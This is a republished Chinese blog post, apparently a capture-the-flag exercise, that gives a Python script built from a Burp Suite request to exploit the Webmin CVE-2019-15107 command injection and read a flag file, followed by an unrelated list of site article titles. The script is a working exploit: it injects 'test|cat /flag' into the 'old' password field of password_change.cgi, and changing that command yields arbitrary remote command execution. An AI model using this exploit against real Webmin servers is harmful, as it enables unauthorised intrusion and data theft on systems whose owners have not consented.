python操作burp的requests插件实现批量化获取flag(webmin漏洞CVE-2019-15107)
时间:2019-08-24
本文章向大家介绍python操作burp的requests插件实现批量化获取flag(webmin漏洞CVE-2019-15107),主要包括python操作burp的requests插件实现批量化获取flag(webmin漏洞CVE-2019-15107)使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
webmin漏洞CVE-2019-15107 漏洞原理:
使用burpsuit的右键copy as requests
burp0_url = "https://192.168.184.128:10000/password_change.cgi" burp0_cookies = {"redirect": "1", "testing": "1", "sid": "x", "sessiontest": "1"} burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Referer": "https://192.168.184.128:10000/session_login.cgi", "Content-Type": "application/x-www-form-urlencoded"} burp0_data = {"user": "rootxx", "pam": '', "expired": "2", "old": "test|cat /flag", "new1": "test2", "new2": "test2"} flag = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)
需要处理一下post数据的返回编码,和https的交互问题,需要安装一个openssl的python库和引用库模块,将warning忽略掉
代码如下
1 import requests 2 requests.packages.urllib3.disable_warnings() 3 4 5 burp0_url = "https://192.168.184.128:10000/password_change.cgi" 6 burp0_cookies = {"redirect": "1", "testing": "1", "sid": "x", "sessiontest": "1"} 7 burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Referer": "https://192.168.184.128:10000/session_login.cgi", "Content-Type": "application/x-www-form-urlencoded"} 8 burp0_data = {"user": "rootxx", "pam": '', "expired": "2", "old": "test|cat /flag", "new1": "test2", "new2": "test2"} 9 flag = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False) 10 11 # with open("./1.txt", "w") as f: 12 # print(type(flag.content.decode("gbk"))) 13 # f.write(flag.content.decode("gbk")) 14 findflag = flag.content.decode("gbk") 15 result = "flag" in findflag 16 indexstart = findflag.find("flag") 17 print(findflag[indexstart:indexstart+11]) 18 # print(result)
原文地址:https://www.cnblogs.com/R1card0/p/11406011.html
- numpy 参数(一) —— np.linalg
- 关于查看dba_data_files的一个小问题(r7笔记第72天)
- 一则备库CPU报警的思考(r7笔记第69天)
- Java设计模式-观察者模式
- 今天处理的三个小问题——20160120(r7笔记第84天)
- 主备切换的准备工作(r7笔记第83天)
- Java设计模式-外观模式
- Java设计模式-组合模式
- 使用shell批量监控磁盘坏块(二) (r7笔记第80天)
- JavaWeb10-request&response你不得不学(1)
- dg的奇怪问题终结和分区问题答疑 (r7笔记第77天)
- 最近让我焦灼的四个问题(有解) (r7笔记第76天)
- JavaWeb10-reques;response你不得不学(2)
- 很多人比较纠结的约束和索引的关系(r7笔记第75天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Python爬虫之crawlspider类的使用
- 数据结构 - 堆(Heap)
- 信息收集之主机发现:masscan
- 信息收集之社工字典
- CloudBase CMS 2.0 焕新升级,从「心」出发!
- 使用MySQL Keyring 的 SECRET类型密钥执行非对称加密
- node egg 实现跨域
- 使用Markdown画流程图
- HBase NotServingRegionException
- Flink SQL 写入 Hive表的性能问题
- 文件系统索引extent 和 bitmap区别
- MySQL的Bugs
- 对复制实施主键约束
- MySQL如何管理客户端的连接?
- 鸿蒙 Ability 讲解(页面生命周期、后台服务、数据访问)